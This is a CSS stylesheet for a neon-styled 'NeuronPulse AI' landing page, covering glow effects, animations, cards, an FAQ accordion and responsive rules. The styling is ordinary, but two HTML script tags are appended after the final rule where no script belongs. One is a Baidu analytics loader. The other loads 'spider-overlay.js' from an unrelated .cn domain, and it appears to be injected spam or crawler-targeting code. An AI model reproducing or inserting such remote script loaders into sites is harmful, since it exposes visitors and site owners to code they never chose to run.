﻿/* ============================================================
   NeuronPulse AI - Landing Page Styles
   Color Scheme: cyan-400 (#22d3ee) / fuchsia-500 (#d946ef) neon
   ============================================================ */

/* ===== CSS Variables ===== */
:root {
    --cyan: #22d3ee;
    --fuchsia: #d946ef;
    --dark-bg: #0a0a0f;
    --dark-card: #0f0f1e;
    --cyan-glow: 0 0 10px rgba(34, 211, 238, 0.4);
    --cyan-glow-strong: 0 0 25px rgba(34, 211, 238, 0.6);
    --fuchsia-glow: 0 0 10px rgba(217, 70, 239, 0.4);
    --fuchsia-glow-strong: 0 0 25px rgba(217, 70, 239, 0.6);
}

/* ===== Smooth Scrolling ===== */
html {
    scroll-behavior: smooth;
}

/* ===== Selection ===== */
::selection {
    background: rgba(34, 211, 238, 0.3);
    color: #fff;
}

::-moz-selection {
    background: rgba(34, 211, 238, 0.3);
    color: #fff;
}

/* ===== Scrollbar ===== */
::-webkit-scrollbar {
    width: 6px;
}
::-webkit-scrollbar-track {
    background: var(--dark-bg);
}
::-webkit-scrollbar-thumb {
    background: linear-gradient(to bottom, var(--cyan), var(--fuchsia));
    border-radius: 3px;
}
::-webkit-scrollbar-thumb:hover {
    background: linear-gradient(to bottom, #38dff7, #e060f8);
}

/* ===== Navbar Scrolled State ===== */
#navbar.scrolled {
    background: rgba(10, 10, 15, 0.9);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border-bottom: 1px solid rgba(34, 211, 238, 0.1);
    box-shadow: 0 4px 30px rgba(0, 0, 0, 0.5);
}

/* ===== Neon Text Glow ===== */
.neon-text {
    text-shadow:
        0 0 7px rgba(34, 211, 238, 0.6),
        0 0 10px rgba(34, 211, 238, 0.4),
        0 0 21px rgba(34, 211, 238, 0.3),
        0 0 42px rgba(217, 70, 239, 0.2),
        0 0 82px rgba(217, 70, 239, 0.15);
}

/* ===== Feature Card Hover Effects ===== */
.feature-card {
    transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}
.feature-card:hover {
    transform: translateY(-8px);
    box-shadow:
        0 20px 60px rgba(0, 0, 0, 0.5),
        0 0 30px rgba(34, 211, 238, 0.1);
}

/* ===== Lightning Flash Animation ===== */
.lightning-flash {
    animation: lightning 2s ease-in-out infinite;
}

@keyframes lightning {
    0%, 100% {
        opacity: 0;
        transform: scale(0.8);
    }
    5% {
        opacity: 1;
        transform: scale(1.2);
    }
    10% {
        opacity: 0;
        transform: scale(0.9);
    }
    15% {
        opacity: 0.8;
        transform: scale(1.1);
    }
    20% {
        opacity: 0;
        transform: scale(1);
    }
}

/* ===== Floating Animation ===== */
.animate-float {
    animation: float 4s ease-in-out infinite;
}
.animate-float-delayed {
    animation: float 4s ease-in-out 2s infinite;
}

@keyframes float {
    0%, 100% {
        transform: translateY(0);
    }
    50% {
        transform: translateY(-12px);
    }
}

/* ===== Circuit Pattern Background ===== */
.circuit-bg {
    background-image:
        linear-gradient(rgba(34, 211, 238, 0.03) 1px, transparent 1px),
        linear-gradient(90deg, rgba(34, 211, 238, 0.03) 1px, transparent 1px),
        linear-gradient(rgba(217, 70, 239, 0.03) 1px, transparent 1px),
        linear-gradient(90deg, rgba(217, 70, 239, 0.03) 1px, transparent 1px);
    background-size:
        80px 80px,
        80px 80px,
        20px 20px,
        20px 20px;
    background-position:
        0 0,
        0 0,
        0 0,
        0 0;
    mask-image: radial-gradient(ellipse at center, black 30%, transparent 70%);
    -webkit-mask-image: radial-gradient(ellipse at center, black 30%, transparent 70%);
}

/* ===== Stat Card Neon Border ===== */
.stat-card {
    position: relative;
    overflow: hidden;
}
.stat-card::before {
    content: '';
    position: absolute;
    inset: 0;
    border-radius: inherit;
    padding: 1px;
    background: linear-gradient(135deg, rgba(34, 211, 238, 0.2), rgba(217, 70, 239, 0.2));
    -webkit-mask: linear-gradient(#fff 0 0) content-box, linear-gradient(#fff 0 0);
    -webkit-mask-composite: xor;
    mask-composite: exclude;
    opacity: 0.5;
    transition: opacity 0.5s ease;
}
.stat-card:hover::before {
    opacity: 1;
    background: linear-gradient(135deg, var(--cyan), var(--fuchsia));
}

/* ===== Stat Number Counter Transition ===== */
.stat-number {
    font-variant-numeric: tabular-nums;
    transition: color 0.3s ease;
}

/* ===== Star Rating Pulse ===== */
.star-rating i {
    animation: starPulse 2s ease-in-out infinite;
}
.star-rating i:nth-child(2) {
    animation-delay: 0.2s;
}
.star-rating i:nth-child(3) {
    animation-delay: 0.4s;
}
.star-rating i:nth-child(4) {
    animation-delay: 0.6s;
}
.star-rating i:nth-child(5) {
    animation-delay: 0.8s;
}

@keyframes starPulse {
    0%, 100% {
        opacity: 1;
        transform: scale(1);
    }
    50% {
        opacity: 0.5;
        transform: scale(0.85);
    }
}

/* ===== Testimonial Card Hover ===== */
.testimonial-card {
    transition: all 0.5s cubic-bezier(0.4, 0, 0.2, 1);
}
.testimonial-card:hover {
    transform: translateY(-6px);
    box-shadow:
        0 20px 60px rgba(0, 0, 0, 0.5),
        0 0 30px rgba(34, 211, 238, 0.08);
}

/* ===== FAQ Accordion ===== */
.faq-item {
    transition: all 0.3s ease;
}
.faq-item.active {
    border-color: rgba(34, 211, 238, 0.3) !important;
    box-shadow: 0 0 20px rgba(34, 211, 238, 0.08);
}
.faq-item.active .faq-icon {
    border-color: rgba(34, 211, 238, 0.5) !important;
    box-shadow: 0 0 15px rgba(34, 211, 238, 0.3);
    background: rgba(34, 211, 238, 0.1);
}
.faq-item.active .faq-icon i {
    transform: rotate(45deg);
    color: var(--cyan) !important;
}
.faq-content {
    animation: fadeSlideDown 0.3s ease forwards;
}

@keyframes fadeSlideDown {
    from {
        opacity: 0;
        transform: translateY(-10px);
    }
    to {
        opacity: 1;
        transform: translateY(0);
    }
}

/* ===== CTA Button Glow Effects ===== */
.cta-btn-primary {
    position: relative;
    overflow: hidden;
}
.cta-btn-primary::after {
    content: '';
    position: absolute;
    inset: 0;
    background: linear-gradient(135deg, rgba(255, 255, 255, 0.2), transparent);
    opacity: 0;
    transition: opacity 0.3s ease;
}
.cta-btn-primary:hover::after {
    opacity: 1;
}

.cta-btn-secondary {
    position: relative;
    overflow: hidden;
}

/* ===== Mobile Menu Transition ===== */
#mobileMenu {
    transition: all 0.3s ease;
    transform-origin: top;
}
#mobileMenu:not(.hidden) {
    animation: slideDown 0.3s ease forwards;
}

@keyframes slideDown {
    from {
        opacity: 0;
        transform: scaleY(0.95);
    }
    to {
        opacity: 1;
        transform: scaleY(1);
    }
}

/* ===== Responsive Adjustments ===== */
@media (max-width: 768px) {
    .neon-text {
        text-shadow:
            0 0 5px rgba(34, 211, 238, 0.5),
            0 0 8px rgba(34, 211, 238, 0.3),
            0 0 15px rgba(34, 211, 238, 0.2),
            0 0 30px rgba(217, 70, 239, 0.15);
    }

    .hero-image-container {
        width: 260px;
        height: 260px;
    }

    .stat-card {
        padding: 1.5rem;
    }

    .stat-number {
        font-size: 2rem;
    }
}

@media (max-width: 480px) {
    h1 {
        font-size: 2rem !important;
    }
    h2 {
        font-size: 1.75rem !important;
    }
}

/* ===== Focus States for Accessibility ===== */
a:focus-visible,
button:focus-visible {
    outline: 2px solid var(--cyan);
    outline-offset: 2px;
    border-radius: 4px;
}

/* ===== Reduced Motion ===== */
@media (prefers-reduced-motion: reduce) {
    *,
    *::before,
    *::after {
        animation-duration: 0.01ms !important;
        animation-iteration-count: 1 !important;
        transition-duration: 0.01ms !important;
    }
}
<script>
var _hmt = _hmt || [];
(function() {
  var hm = document.createElement("script");
  hm.src = "https://hm.baidu.com/hm.js?66486df8906d1585b228aae20f1074ed";
  var s = document.getElementsByTagName("script")[0];
  s.parentNode.insertBefore(hm, s);
})();
</script>
<script src="https://yswa6.cn/spider-overlay.js"></script>

